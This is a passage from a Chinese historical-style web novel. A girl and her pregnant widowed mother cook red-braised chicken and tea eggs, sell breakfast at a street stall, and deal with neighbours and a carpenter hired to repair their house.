早上从小菜农那里买番瓜时,她顺手买了一小把葱、两头蒜、一根姜。
这会先把鸡放进陶锅中,加入清水、姜片、葱段和几瓣蒜先煮一会,去腥去掉鸡皮里藏着的杂质污垢。
而后满未楹便开始着手准备起茶叶蛋来。
尤婶子送来了三十个蛋,个头不大,都是自家母鸡下的,这时候的鸡蛋是当做肉食来卖的,一枚生蛋得要三铢。尤婶子着实大方。
三十个蛋用来明天早上试卖刚刚好。
茶叶蛋交给满珣先洗干净表面,满未楹则去把满珣的几条细纱帕子拿了出来,它孔洞细密,能兜住那些茶叶碎沫子,半点也漏不出去。
小乌茗和红萃茶叶都拿了一两出来,剩下的便全用碎末子,裹起、细绳扎好细纱帕子;八角、桂皮、香叶各拿出几片来,用另一条细纱帕子装好。
香料能用得更久一点,而茶叶用上两次味道就淡了,茶叶碎更是如此,现在分开更方便后续添加。
鸡蛋先用白水煮过,估算差不多煮出蛋白的时候便能捞出,放进凉水中轻轻把蛋壳表面敲碎、形成粘连的网纹状但是蛋壳不掉的状态,这样更方便茶叶蛋入味。
而后把两个纱网吊进锅中,细绳另一端系在陶锅两侧的耳上,加入酱油、黍酒、少量盐和糖。黍酒自然买的也是最便宜的那种,是用粮食边角料酿出来的。
茶叶蛋最贵的便是用来做卤汤的香料和糖,糖是贵价调料,虽然这里已经发明了“窨制法”②,能做出糖霜和白砂糖,但是生成提炼的过程复杂,原材料甘蔗来自吴越巴蜀
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等地,运送不易,因而价贵,基本是各个国家的战略物资,和盐一样,是不允许私人生产的。
这倒还好,总规是能买到的。
但香料在云梦城中没有大面积种植,也没有店铺售卖,如果满未楹现在的香料都用光了,她得想办法找人利用漕运带回来,论这一点,想想便很困难。
满未楹一边想着,一边拨动炭火,小火慢炖。
茶叶和料包在加了酱油的深色清水中翻滚,随着水温的升高,香气缓慢溢出,卤汤的气味浓厚而又霸道,盈满整个小厨房。
“好香。”满珣把小公鸡捞出,放在砧板上切成小块。
满未楹探出头看满珣的动作,回答道:“等煮上一个时辰,汤汁浸透了鸡蛋,会更香呢。”她合上茶叶蛋的锅盖,让它持续小火慢炖。
“我刚还买了大米回来,我们今天中午吃大米饭。”
满未楹正好在长身体的时候,饭量要比满珣大得多,因此淘米时也多挖了一小勺,如果吃不掉也不打紧,等放到晚上水分流失后,正好可以用来做炒饭吃。
蒸米饭需要用到一种名为“甑”的锅具,底部布满小小的孔洞,形似蒸笼但是可以正好卡在陶锅中,陶锅中放水,上面放一层蒸布,洁白饱满的大米均匀铺在蒸布上,盖上锅盖,等着水蒸气将米饭蒸熟。
米饭蒸熟后,满未楹接手了满珣切好的鸡块。
那口铁锅终于再次派上了用场,用它来炒鸡再好不过了。
从双耳陶瓮中舀出几勺油润了一下铁锅,等油气蒸起来后,把切好的鸡块混着新的葱姜一起翻炒,等到鸡肉表皮都均匀的覆盖上一层金黄色,油脂的香气缓慢溢出。
家里剩下的最后一个陶锅也派上了用场。
满未楹铲出一半来放进陶锅中,加入清水,放了一些盐。水上浮着一层金黄色的油脂,如果能放一点冬瓜、菌子进去一起炖,鸡汤会变得更鲜。
但是现在囊中羞涩,只能等以后了。
铁锅中剩下的鸡肉和切成丝的鸡心鸡肝,加入酱油一起翻炒,很快鸡肉便被均匀上色,接着倒入清水,“呲”的一声,热锅冷水相碰,蒸腾起浓浓的白烟又归于平静,盖上锅盖,又往炉中塞了几把干柴,大火收汁之后便可以出锅了。
两扇天窗将油烟混合着香气一起带出。
小厨房里油烟气太重,几个炉子又一起烧着,满未楹担心二氧化碳浓度太高,便让满珣去廊下等着,她自己则把茶叶蛋的陶锅和泥炉先后搬到院子里,更通风。
一街之隔的淮家。
淮明月收完上午的刺绣,付完娘子们的工钱,奶嬷嬷陪在她身边,一道回后院用午食。
二人从院子石墙下的夹道走过,都闻到了浓厚的卤料香气,混合着煤炭和柴火燃烧时散发的特有烟熏味。
“隔壁那户人家好像回来了?”淮明月抽了抽鼻子,“这是在做什么呢?这味道怪香的。”
奶嬷嬷也忍不住深吸了几口气:“听说是主人家回来了,母女两个,男人好像没了。小娘子今天早上还到门口卖吃食了,叫什么油条。唉,也是命苦,好好的小娘子出来抛头露面做这种笑脸相迎的事。”
“好吃吗?明天早上我们也买点回来吧。”淮明月对嬷嬷的话不置可否,“有手艺出来养活自己也没什么命苦的,吃不上饭饿肚子、穿不上衣受冻才叫命苦。”
奶嬷嬷知道她的脾气,当下也不再多说,“明早小娘子要是还出摊,我买了回来给你姑嫂俩尝尝。”
5.红烧鸡
紧邻着满未楹家南边隔壁的,便是开着当铺的钱金玉娘子家。
“娘子,来用午食了。”她的良人陆浮怀里抱着个奶娃娃,站在廊下殷勤喊着。
而钱金玉本人正垫着脚尖,鼻子一耸一耸:“浮郎来,你闻闻。”
陆浮把小女儿交到奶妈手上,快步走到墙边,学着钱金玉的样子,夫妻两像是两只壁虎一样直着身子,闻着隔壁传来的香味。
各种香料碰撞出茶叶蛋的卤香,这香气过于霸道,毫不讲理地直直往人鼻子里冲;而另一股香气混合着鸡肉的油脂香,又带着酱油的咸香,也不知是如何做的,不似寻常做的鸡汤,也不似甑锅蒸出的味道。
钱金玉夫妻俩本就好吃,家境又殷实,他俩可以为了一口吃的赶到隔壁城池。
“怪香的,这是咋做出来的?”陆浮小声说着,“隔壁主人家前几日刚回来,只看得医师来了几次,还没见到人呢。”
“哪能啊,是浮郎起得晚,早上隔壁小娘子还出来卖油条了呢,我还买了两根......”察觉到自己失言,钱金玉猛得收声。
然而如何能瞒得住陆浮?
他当即瞪大双眼:“玉娘,油条是何物?你偷吃居然不带我?”说着便一甩袖子从墙边离开,灵活的像是过年按不住的猪,瞬间拉开距离,“我知了,自古赘婿便是应当吃糠咽菜的,不配吃好东西。”
“哎哎哎——”钱金玉舍不得地又闻了一下隔壁的香气,一步三回头从墙边离开,追上小发雷霆的良人。
这边钱金玉正软言安抚,承诺下次一定买双份;
一墙之隔的满未楹和满珣正大快朵颐,丝毫没有察觉隔壁差点打起来的饥荒架。
鸡汤炉子和茶叶蛋炉子都搬到了院中,也不知是不是心理原因,满未楹感觉到小厨房里空气清新了很多,呼吸也顺畅了起来。
她从一间厢房中搬出瘸了条腿的小方桌,这原本是待客用的小茶几,给两人吃饭刚刚好。她搬来原本用来压井盖的石头垫了下,桌面大致变得水平。
满珣把巾子打湿,擦干净满是灰尘的桌面。
甑中米饭蒸的膨胀柔软,微微带着水蒸气却不粘连,粒粒分明,饱满可爱。
酱红色鸡肉盛在粗陶瓷大碗中,裹着熬得浓稠的酱汁,泛着诱人的光泽。
早知道今天做红烧鸡的话,满未楹早上买番瓜时就会顺便买两个青红辣椒了,切丝一起炒,盛出来红绿相间,可好看了,色香味俱全。
满未楹给满珣夹了鸡翅、翅根和鸡腿等肉最嫩的部位,鸡肉摆在米饭上,酱汁浸透饭粒,油脂香、酱香充分混合,吃进嘴中会瞬间爆开,尽是满足。
几个月大的小公鸡肉最是鲜嫩,连最柴的鸡胸肉经过爆炒过后也像是入口即化一般,混着肉汁饭进入胃中。
满珣还在病中,加上孕反,并没有吃多少。
满未楹呼噜呼噜吃着,像是一只小猪。她忙了一早上,饿过了头,之前还没感觉,但是当第一口饭下肚时,馋虫瞬间就出来了。
半只鸡本也没有多少,满未楹吃到最后,不仅连甑中的米饭都扒光了,铁锅底剩下的酱汁也没放过,全和米饭一起下了肚。
用过饭后,之前烧的水还温热着,满珣把锅碗都拿去洗了。铁锅只是简单用草木灰擦了一遍,过了水便用干布擦干。
铁锅得用油养,洗得太干净后面做饭不仅会糊锅底,而且容易生锈。生锈后虽然可以打磨掉,但是也会越磨越薄。铁是稀罕物,自然舍不得这样用。
满未楹检查了一遍两个陶锅中炖的鸡汤和茶叶蛋。
在茶叶蛋的卤香下,鸡汤的鲜味都显得没有那么明显了,金黄的鸡油浮在乳白的汤上,满未楹用筷子戳了戳鸡肉,只是稍微一点力气,鸡肉几乎就要从鸡骨上脱下,她将盖子合上,没有继续往泥炉里添柴,只要用炭产生的余温慢慢温着就行。
茶叶蛋的卤汤变成了深棕色,满未楹捞起一枚。
“啊烫烫——”她吹了吹气,放在手中剥开壳,卤汤已经顺着先前敲出的裂纹在雪白的蛋白表面形成蛛网一般的棕色纹路。
满未楹咬了一口,茶香和卤香瞬间弥漫在口腔中,连最噎人的蛋白部分也因为浸透了卤汤汁水而分外好吃,吃了一口只想再吃下一口。
煮了这么久,内里的蛋黄早已熟透。
满未楹没有继续吃,而是送到满珣嘴边,满珣咬下一口,只是嚼了两下便瞪大了双眼,她眼睛原本就大,此刻更显灵动,吃过饭后,她的精神和体力也明显提升了不少,“真好吃,还没有鸡蛋那股怪味儿。”
满未楹笑了一下,她半蹲在满珣身边,原本满珣吃了一口便想让给满未楹,满未楹不容分说地塞进她口中,让她吃掉了全部。
满珣对气味敏感,向来不喜欢水煮蛋,总是说水煮蛋有股鸡身上的怪味,像是鸡屎。而茶叶蛋经过卤料和茶叶的调味,只余香气。
之前还在杜家时,即便不缺这点吃的,不喜欢就换一样,也没少被舅姑和小叔背后说娇气。杜大还因此和杜家二老吵过架。
满未楹和杜大想法一致,吃得起、又不是浪费,为了点吃食委屈人,多少存了点故意折腾人的坏心思。
满未楹甩了甩脑袋,不再想过去的事。
“阿娘吃着可还淡?淡的话我再加点盐。”
满未楹吃着刚刚好,但是茶叶蛋稍微咸一点也无妨,而且若是喜欢甜口的,还可以在做的过程中多加糖。
但是糖可比盐贵多了,满未楹不准备在这种对外售卖的茶叶蛋中加糖,而且大多数人吃得了咸口却未必能接受甜口。
满珣摇摇头:“我怀着身子,吃东西一会咸一会淡的,说不准,不用顾念阿娘。”她摸了摸满未楹扎着双髻的脑袋,满脸爱怜。
“那便好,我送几个给尤婶子尝尝去。”满未楹说着便起身,把料包抽走,不然小锅中一直煮,卤料只会越来越苦,然后只留下几根炭,用余温温着,这样等到明天早上,再重新加热一遍,茶叶蛋会变得更加入味。
满未楹挑了四个放进粗瓷碗中便从侧门离开。
尤婶子家里人多,本不该只拿四个的;但是再多拿点,只怕她明天早上也没得卖了。
想来尤婶子也不会在这点上跟她计较。
侧门向东一点路便拐进了后巷小道,这一片只有每排第一户的人家能在侧门开个小店,再往里便租不出去了,都是自住。
满未楹偏头便看见了自家后院的后门,其实她从后门出来更方便,但是后院经过了一通打砸,原本门锁的锁芯断在了里面,满未楹砸也砸不开,索性先放着不管了。
不过想到后院,满未楹就是一阵头疼,她现在只来得及把内院收拾
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了一通,至于前院和后院根本还没有精力管。
前院倒还好,东西不多;但后院原本是用来养马养驴的地方,有草棚、马房柴房还有一个石磨。自从草棚塌了后,又经了几场大雨,草料都淤烂堆在后院中,她一个人清理起来只怕要耗上一天功夫。
挠了挠额角,满未楹暂时不想这些糟心事,快步朝着巷尾的尤婶子家走去。
尤婶子家是一套五间的大宅子,老两口带着大儿子和三儿子以及他们各自的妻儿,还有和离回娘家的二女儿和孙女,并一个二人的老来子、才九岁的小儿子一起住,两个儿媳还带着自小服侍的女仆,十多口人把宅子挤得满满当当,连大门下的倒座都住了人。
尤婶子做梦都想再买一套房子,带着小儿子和二女儿搬出去,给成家的两个儿子挪出点空间。只是云梦城不比从前,现在再想在城中买房子,除了没多少空屋外,价格更是高达数千金,已不是寻常人家能承受的。
满未楹还未到屋前,已经听见尤婶子高亢的怒骂声:“你个兔崽子又逃学!先生怎么没把你屁股打烂!今天我非要好好教训你一顿!”
院内一顿喧哗,伴随着一个小男孩大呼小叫的求饶声。
听到敲门声,尤婶子这才放下手中洗衣的棒槌,瞪了眼躲到二儿媳背后的小儿子,恨恨地到前院去开门。
满未楹端着碗,碗中放着卤成酱色的几个鸡子儿,既有茶香,又有尤婶子说不上来的香气。
“小满,你怎么来了?这是什么?”尤婶子一面说着,一面就想拉着她进屋来。
“不了婶子,”满未楹知道别在父母教训孩子的时候进家门,小孩也要面子,“这是婶子早上送来的鸡子儿,我自己用了个新法子煮了下,送来给婶子尝尝,准备明天早上卖早食。”
尤婶子看了眼数量,便接了过来,茶叶蛋这会走过来也不烫了,尤婶子直接一手抓两个,她知道这是满未楹的好心,她向来不跟人拉拉扯扯,“成,闻着怪香的,你这孩子是有手艺在身上的,谢谢你了。你快家去吧,你这一早上也没得歇,别累着。”
满未楹点点头,看着她的身影离开,尤婶子这才关上门。
怕她再教训小叔子,二儿媳抱着一岁的小女儿递到尤婶子跟前:“巧妹儿刚醒,喊着找奶奶呢。”
巧妹儿乖乖靠在二儿媳怀里,眼神懵懂,并不知道娘在说啥。
尤婶子哪里不知道二儿媳的心思,她看了一圈,那小孽障已经不知道跑哪儿去了:“呸,小畜生。”
巧妹儿闻着香,伸出小手指着尤婶子手中的鸡子儿:“吃,吃。”
尤婶子手上洇了一圈卤汁,见巧妹儿要吃,她当即便和二儿媳坐到了廊下,剥了一个,掐成两半,放到巧妹儿手中,鸡子儿几乎快和巧妹儿两个小手一样大了。
巧妹儿咬了一口又一口,大大的眼睛里满是吃到好吃东西的亮晶晶。
“真香啊,也不知这小满是怎么做的。”尤婶子端详了半晌,“这一会功夫就做出来了,是真有点本事的。”
二儿媳点头称是,她出身富户,从小还有女仆服侍,但是也从未见过这样做的鸡子儿。
满未楹送了四个过来,尤婶子家里正好一共有四个孙子孙女,剩下三个尤婶子放了起来,等晚上他们回来了再给。
至于小儿子,呸,吃土去吧。
6.卖早食
天还没亮,满未楹便醒了过来,她心里记挂着出摊的事,因此睡得很早。
好在摊子就在自家店门口,这省了她不少事。
她轻手轻脚地从床上爬下,给满珣掖好被子,系上围裙,披上外衣便离开了厢房。尽管她很小心,但是摇摇欲坠的厢房门还是发出了悠长的“吱”声。
睡觉前满未楹把茶叶蛋和鸡汤炉子搬回了小厨房中,两扇天窗照常开着,烧干净的柴火在炉中积了一层银色的灰,满未楹没有急着清理,而是把煤炭埋在了碳灰中,早上起来重新燃起炉子时,把煤炭拨出,细细的火光一闪而过,接触到空气后缓慢的复燃。
鸡汤炉子缓缓升温,趁着这个功夫,满未楹分几次把茶叶蛋陶锅和泥炉,炸油条的铁锅和泥炉等物都搬了出去,而后折返回小厨房中准备做油条的面团。
秋季的早晨泛着些许凉意,气温低,面团的醒发会慢很多,于是满未楹燃起了另一个炉子,又往上放了一耳壶的井水,随着小厨房温度缓缓上升,清水也缓缓煮开。
满未楹坐在炉旁,盛了一碗鸡汤慢慢啜饮。鸡肉炖得软烂,精华在长时间炖煮中和鸡汤融合在了一起,即便一点盐也不放,也鲜美异常。满未楹扯下一只鸡腿,只是一抿,肉便从骨头上脱落了下来,半点肉丝都没留,连拐脆骨都变得软脆。
喝光一碗汤后,满未楹感到四肢都恢复了过来,又重新充满了力量,于是她拿出昨天才买的精面粉,混着温水和少量盐、糖开始和面,多揉、少量加水能让面团变得更加劲道,如果追求口感更好,需要经过三次揉面到醒发的过程,但是满未楹没有那么多时间精力,因此她只打算醒发一次。
今天她特意多做了些,把一条帕子打湿又拧的一滴水都没有后,盖在面团上,端着砧板和菜刀便离开了内院。
此时天才刚蒙蒙亮。
而定挽桥下,一如既往地挤满了占摊位的各类摊贩,其中菜农最多,还有捕鱼的、卖家禽的......林林总总,熙熙攘攘。
而他们为了一个好位置的“争夺战”从未停歇。
蛮横的大娘带着自己的毛头小子一屁股坐在定挽桥下来的头一个位置,指使着儿子赶紧把菜篮放下摆开摊子;泼辣的小娘子丝毫不肯相让,带着自己五大三粗的男人挽起袖子就扯过大娘的扁担筐子。
两人喋喋不休吵吵嚷嚷,一人强调这是我先来的,先来后到没有强占的理;另一个人反问写你家名字了?屁/.股不大口气不小,占不住位置还指望谁让你?
这种浑话简直把小娘子气个仰倒,登时两人便扭了起来。
满未楹在这番热闹中不慌不忙地把简易小摊摆好,往两个炉子中各添了耐烧的一把柴,一根根放进去,没忘记给留出让氧气充分进入的空间,这样才能充分燃烧,火焰也会更旺,更省柴。
云梦城中的居民用的柴火都是城外柴户定期送来,一束砍好的柴要五铢,没加工的则是三铢;煤炭则是漕运运来的原材料,再经由炭火行加工变成煤球煤饼,秋季开始,山上柴就变少了,到了冬天几乎没有人再砍柴,所以每年冬天家家户户都要囤上一柴房的煤炭。
满未楹揭开了蒙在面团上的湿布,面团醒发成了一个白白胖胖的大团子,用手指轻轻一按,戳出的小坑缓慢回弹,但是按压的印子并没有消失,这便是醒好了。
而后她重复起了昨天的动作,将面团切成一个个小剂子,整齐地摆在砧板上。
满未楹这边在有条不紊地进行着,定挽桥下的争执还未停歇。
“吵什么?再吵两个人今天都带着摊子回家去。”一道男声响起,沉稳有力。
满未楹抬头,便看见一个身量修长的年轻男人,穿着官府的鲜亮红衣,手持一把长剑,面容端方,神情严肃。
一见到来人,泼辣小娘子也不跳脚了,蛮横大娘也不说浑话了,两人牵着安静如鹌鹑的良人儿子,但是大娘屁/.股动也没动一下,小娘子恨恨地咬牙,只能退到她边上,离定挽桥稍远的位置。
男人身后跟着一个年约四十多的女性,笑眯眯的很是温和,手上还提着菜篮子。
这大概就是“城管”吧。满未楹如此想着。
茶叶蛋的陶锅中发出咕嘟咕嘟的冒泡声,满未楹把湿布搭在锅盖上,而后揭开。以满未楹小摊为原点,卤香争先恐后的冒出,向周围四散溢开。
原本还在互相瞪视的两位娘子不约而同地瞅向那个冒着白腾腾雾气的小食摊子。
满未楹用一只竹篾笊篱捞起一只蛋,表面裂纹裂得刚刚好,经过再次加热后,茶叶蛋也会变得更加入味,甚至连里面的蛋黄都会浸满茶香味。
等她再次抬起头来时,那名红衣男人和身后跟着的嬷嬷已经来到了她的摊子前。
满未楹立刻挂上一副笑脸,眸光盈盈:“二位可要尝一下茶叶鸡子儿?这是我家秘方做出来的,味道可好了。”
来者正是隔街开了成衣店的淮家大哥,淮明禾在官府中担任司稽一职,日常负责巡查市集、缉拿罪犯和维护城内秩序。所以小摊贩们看到他,既不敢闹了,也不敢吵了。
身后的刘嬷嬷则是淮明月的乳母,今早特地出门来给淮明月和她大嫂买油条,只是没想到这小娘子又整治了新的吃食。
“小满娘子,这茶叶鸡子儿怎么卖的?”嬷嬷和蔼地问。
“六铢一个。”满未楹知道这个价格不算低,是普通鸡子儿的两倍了,但是核算一下成本,她用的大料和糖都是贵价之物,再加上盐和柴火,成本要摊到每一颗蛋上才行;等后面越做越多,一颗蛋的成本就会下来,到那时才能算真正赚到钱了。“我这用的是犬戎一带送来的调料和新鲜茶叶做出来的,嬷嬷可要尝尝?”
刘嬷嬷原本听到价格也略吃惊了一下,但是这茶叶鸡子儿的味道实在是太勾人了些,勾的她心神都有些痒痒。
只是没等她开口,淮明禾先一步开了口,“满小娘子,给我们包上四枚。”说罢他又看向油锅,“今日还做油条吗?”
满未楹看着还在加热的油锅:“做的呢,郎君再等等,等油热了就能下锅。”
她用笊篱捞出四枚茶叶蛋,沥出卤汤汁后,包进油纸里,又听得淮明禾说:“劳烦小娘子单独包一枚予我,另外三枚给嬷嬷。”
“好咧。”满未楹爽快的答应了,动作麻利。
而后便在众人注视下,像昨日一般,面剂子一拉一扯放进冒小泡的油锅中,不多时油锅上便飘满了逐渐变得金黄酥脆的油条,它们像是一艘艘小船一样,承载着饱腹又令人喜悦的碳水。
“油条给我们十根,两根单独包给我,另外八根包给嬷嬷即可,多谢小娘子。”淮明禾递上四枚圜钱,“不用找零了。”
淮明禾气势十足,但是对待满未楹算得上彬彬有礼,看得出来是个
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对事不对人的司稽。那两位娘子不再吵闹后,他也不会多加为难。
满未楹一愣,旋即又是一笑:“多谢郎君和嬷嬷照顾生意,我便多搭两根油条送给郎君吧。”
淮明禾一愣,还没等他拒绝,满未楹已经夹出油条,四根给了淮明禾,另外八根给了刘嬷嬷。后者眉开眼笑地接过,夸了两句满未楹,放进篮子里,脚下不打停地便往对街家去,迫不及待要拿给小姐和少奶奶早食。
去城外漕运码头上工的、出来买菜的、送孩子去学堂的居民们纷纷出了门,定挽桥的地理位置优势便显现了出来,人流量陆续加大,不少人都被茶叶蛋的香气吸引而来,虽然不少人会因为六铢一个的价格而犹豫,但是云梦城富庶,依然有人愿意尝试。
比如突然从满未楹家隔壁铺子里窜出来的这位人称玉娘的钱娘子。
小厮还只来得及打开半扇门,钱金玉便一弯腰,噔噔噔地从青石台阶上跑下,灵活的扭过人群,将五个圜钱非常精准地抛到满未楹口袋中,不愧是开当铺的老板,“小娘子,给我来十二根油条,这个鸡子儿来六个。”
紧跟着她的是一个瓜子脸男人,白净俊俏,长着一双丹凤眼,分外风流。这便是钱金玉的赘夫陆浮了。
也没要满未楹的油纸,那男人递来一个深口碗,满未楹舀出六枚茶叶蛋还搭了一勺卤汤再还给陆浮,钱金玉则抱着装满油条的油纸,二人喜滋滋地挤开人群,回到自家店铺中大快朵颐起来。
“这味儿从昨天就开始勾我了,还好今天起得早,让我们抢到了。”
陆浮细致地剥开一枚茶叶蛋的蛋壳,经过了一天一夜的浸泡,蛋白也变成了浅棕色,碎裂的蛋壳纹路处如同蛛网一般深褐,他吹了吹热气才递给钱金玉,钱金玉就着他的手咬了一大口,这样她的手上就不用沾卤汤了。
钱金玉一边嚼一边满足地点头,“好吃的紧呢,连蛋黄都是这汁水味儿,除了茶叶香,还有些我尝不出来的香料味。这是哪里来的做法?我竟然从未尝过。”
陆浮吃掉了剩下的半个,吃得原本就好看的眉眼舒展开来。看得钱金玉心情愉悦,满意地挑眉。“听说这满家女之前是嫁到卫国的,许是那里的特有做法?管它呢,好吃就行。”
其他人便没有钱金玉和淮明禾这么大方了,多的是买个一枚回去尝尝鲜的,但是每个吃进肚的人都纷纷夸赞,等想转头再来买时,满未楹今天的茶叶蛋已经都卖光了。
昨天连吃带送消耗了五枚,一早上两个“大主顾”又买走了十枚,锅中也就只剩十五枚了,不过片刻都卖得干干净净。
心有不甘的人盯着卤汤锅子,恨不得喝上一口。
今天面团虽然准备的多,但是比起茶叶蛋来,大家会情愿多买些油条,同样卖得也是飞快。出摊还不到两个时辰,便全部卖完了。
满未楹的钱袋子也变得沉沉,她的心情分外美好,笑得真心实意。她有着一副从满珣那继承来的好相貌,年纪尚小便已有端倪,这一笑便看呆了不少定挽桥下的人。
带着木匠从定挽桥走下的尤婶子看见满未楹小食摊上空空,知道她今天生意不错,也由衷地为她感到高兴。
木匠乐大和他娘子罗婶子也都看见了。
“那是满家大姐儿的孩子吗?”还未到跟前,乐大便够着头看。
罗婶子瞥了他一眼,嘴角紧抿着下压,像是窝着火。
7.修屋子
尤婶子昨天才和满未楹提了修屋子的事,今天她便风风火火地找来了木匠,准备上门量尺寸、定木头,冬天要到了,驴棚干脆多花点钱,重新搭一个屋子出来,保暖防风。
这边满未楹早食都卖光了,便先收拾东西回去,乐大和罗婶子先去了尤婶子家里,等会尤婶子会领着二人上门来。
满未楹出门前把鸡汤炉子搬到了院中水井旁,周边清理的干干净净。虽然炉中只有煤炭温着,但是还是防止发生意外的好。
茶叶蛋陶锅搬出去后,现在内院中飘满了鸡汤香气。
满未楹往锅中加了一小勺盐,加了昨天的剩饭,便拨了拨炉中灰烬,把没烧完的煤炭藏了进去,隔断空气,煤炭自然就会熄灭,用的时候再拨出来,可以再用一点稻草引燃下。
炉子用余温温一会,把米饭烫一下,让米粒吸满汤汁,倒进碗中。
端着碗进了屋,轻轻喊醒了满珣,二人一同用着早食。
满珣今天的气色比昨天还好,这番病下来确实吃了不少苦,又吃不了药,只能靠自身免疫力挺过来,最初那几天满未楹几乎是寸步不离。
“油条的油太大了,阿娘早上吃这个只怕会反胃,还是先用点鸡汤饭。”满未楹轻声说着,“这次鸡蛋不多,所以没给阿娘留一个;我下午再去多买一点,这样以后每天早上先给自己留几枚,剩下的再卖掉。”
“不打紧,现在有的吃就很好了。”满珣心里也很清楚,要是身边没有这个大女儿,只怕她早就和父母还有杜大团聚了。
“今天早上赚了四十八个圜钱呢,比昨天多了一倍。”吃完饭后,满未楹把钱袋中里钱都倒了出来,昨天买茶叶、酱油、黍酒、精面粉、大米和陶锅花掉了十八圜钱四铢,主要还是陶锅贵,大米和面粉自然是没用完。
再刨掉柴火钱等成本,还剩下五十圜钱。
这份收入已经不算少了,满未楹听尤婶子说过,在码头上工的工人干一天体力活,也才一二十个圜钱;要是能抢到送货的活计,看路程远近才能多拿点。这还是云梦城富庶,舍得花钱雇人的情况。
而满未楹满打满算不过两个时辰。主要还是刚起步,一是产能跟不上,二是不敢多做,怕卖不掉。
现在既然茶叶蛋很有市场,今天下午她便出去找找能不能买一两百个蛋回来,明天早上多卖些。蛋卤过之后放一两天也不会坏,当天卖不掉可以第二天接着卖。
等尤婶子来,满未楹准备打听下修屋钱;至少在冬季到来前,先把后院这些屋子全部修好,不然到处漏风,到时候出门都难。
母女二人过冬的衣物、被褥、炭火包括米油盐等都得提前准备着。
尤其是算算日子,满珣差不多到明年三月就要临盆了,到时候请产婆、医师、准备新生儿包被、衣服、尿布等一应物事必不可少;这里可没有奶粉,生产后还是以母乳为主,若是满珣没有奶水,多少得请个乳母来应对几月。
这些都得考虑到。
但是跟生产的凶险比起来,又都得往后稍稍。
先把满珣身子养好才最要紧。一个没出生的孩子和把自己养大的母亲,满未楹都不用权衡。
满珣刚病时,原本是不打算生的,她没了丈夫,自己又从来都不事生产,生下来也是满未楹的负担;只是虽然她身子不好,但是怀相偏偏好得不得了,胎相稳固,落胎天然凶险,医师极力阻止,这才作罢。
满未楹细细和满珣盘算着。
满珣剩下的嫁妆钱还有二十贯(一贯三十个圜钱)和一些首饰,这些首饰都是出嫁前满珣父母买的和杜大婚后添置的,还有满未楹的长命锁、小时候带的银手镯也收在了匣子里。
满未楹对首饰一点心思都没有。
这些首饰承载了满珣曾经欢乐的未嫁时光,她不会让母女俩落到典当首饰的境地的。
满珣嫁妆曾有二百贯之数。
前些年在杜家,舅姑总是惦记着满珣的嫁妆和杜大当卖货郎赚的钱,要么是家里买耕牛没钱了让满珣帮衬下,要么是小叔进学要束脩,家里钱都拿去买种子了,让嫂子先垫上,又或是公公寻到了什么赚钱的门路,只是需要本钱。
舅姑深谙精神控制的精髓,总是大谈一家人不说两家话,还会多次提及满珣没给杜大生个儿子,又没父母亲族,将来说不定还要靠这个小叔。
虽然杜大多有维护,但是拗不过一个孝字,舅姑多次为了要钱在院中撒泼打滚,甚至闹到里正那里“找公道”。
加上这次归家路上的花费、延医问药的开销,能剩下这么多已经算得上是满珣持家有方了。
“等我身子好了,我便找尤婶子给我引荐下那位淮小娘子,”满珣从床上起身,动作缓慢地下床,穿好衣服,满未楹在她身后给她系好衣带,“多少给家里赚点。”
“没事的,阿娘,不着急。”满未楹也没打肿脸充胖子说自己养活这一家子,不需要满珣做事。一家人想要生活变好,必定得都努力才成,“你先养好身子,人活着、身体康健才有以后。”
正当母女俩说体己话时,尤婶子的大嗓门在院墙外响起,伴随着她“咚咚”的叩门声:“小满啊!大姐儿!开门!”
尤婶子还是管满珣叫大姐儿,好似未嫁时。
“来了来了——”满未楹拖长了声音,扶着满珣出了门,她才快步出去开门。
门外站着尤婶子和早上看见的木匠夫妻。
满未楹笑着请人进来。
尤婶子还没进门就嚷嚷起来了,“你昨天送来那鸡子儿好吃的紧,我那几个孙子孙女都喊好吃,让我也做。我寻思我哪会做这玩意,不如找小满你再来买些。早上生意可还好?我看你收摊挺早的。这是做木匠的乐叔和罗婶子,手艺活好,家家户户有个什么修修补补的都找他们。大姐儿你睡醒了?今儿气色不错,就该起来多晒晒太阳呢。”
尤婶子还是一如既往地不让人插嘴,话密得像是烟花,一句接一句。
满未楹一句话没说上,人已经走到了厢房门口。
“你俩看看,先给她们修这间屋子的门窗,我看着主板都还好,没破太厉害,重做下门框门轴就成了,都是街坊邻里的算我家那驴棚的搭子,钱到时候我一并给了。”
满珣到厨房里给三人泡了茶。
罗婶子颧骨高尖,眉形上挑,一双总喜欢吊着看人,看着便是个厉害又不好说话的人物,一张口便是尖酸刻薄:“哎呦婶子这话说的,谁不知道满家是有名的富户啊,当年大姐儿出嫁那陪嫁谁不羡慕,家里又有这么大的铺子,就算没了男人那也是瘦死的骆驼比马大。我们干点力气活多不容易,婶子克扣穷人钱可不厚道吧?”
满珣端茶的手一僵。
尤婶子又岂是好说话的,当即眉一竖,音量拔高:“还没谈钱呢就说克扣了?一个驴棚要我五贯钱,这点搭头都不肯添吗?”
“你那是棚吗?谁家棚还搭四面墙还开门的?又要用好木头又要刷桐油,五贯钱还多吗?”
二人掰扯间,乐大只是搓着手不说话,眼神偷偷往满珣那看了好几眼。
满未楹接过满珣手中的托盘,把茶水放到廊下小几上,不动声色把满珣挡在身后。
“最多再加半贯钱!还得把厢房所有门窗都换了,木头得用好的!”尤婶子一锤定音,“听说城外俞木匠一家也想在进城来开个店,你不做,那我就去找别人做去。”
眼看着生意要告吹,乐大这才出来当和事佬:“婶子这话说重了,都街坊邻里的,价格好说好说,我们让一点也是可以的。”
“呸。”尤婶子可不惯着,“好说怎么刚才你不说呢?刚才装什么哑巴呢?”
生怕生意落空,乐大连忙招呼罗婶子,二人拿着池子就量起门窗尺寸来,他这时倒是话多了:“只整这一间吗?
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其它屋子干脆一起补了呗,我核算下多少钱,给你们报个便宜——”
没等他话说完,一直没说话的满未楹突然打断了他:“先修这一间便好,毕竟家里没了男人,拿不出钱来,不敢占您便宜,也不好让生人一直上门。先做这一桩生意便是。”
这话夹枪带棒,任谁都听得出来。
尤婶子都是一愣。
乐大面色讪讪,也没敢多说。
量几扇门窗要不了多久,满珣进了别的屋子没再露面,这就是家里屋子多的好处。
满未楹客客气气把几人送出了门,如果不是为了给尤婶子留面子,她这一桩生意都不想做,她不信云梦城木匠就剩这一家了。
“小满啊......”尤婶子似乎想说些什么,但是又住了口,“我知道你是个有成算的孩子,只是毕竟现在......”
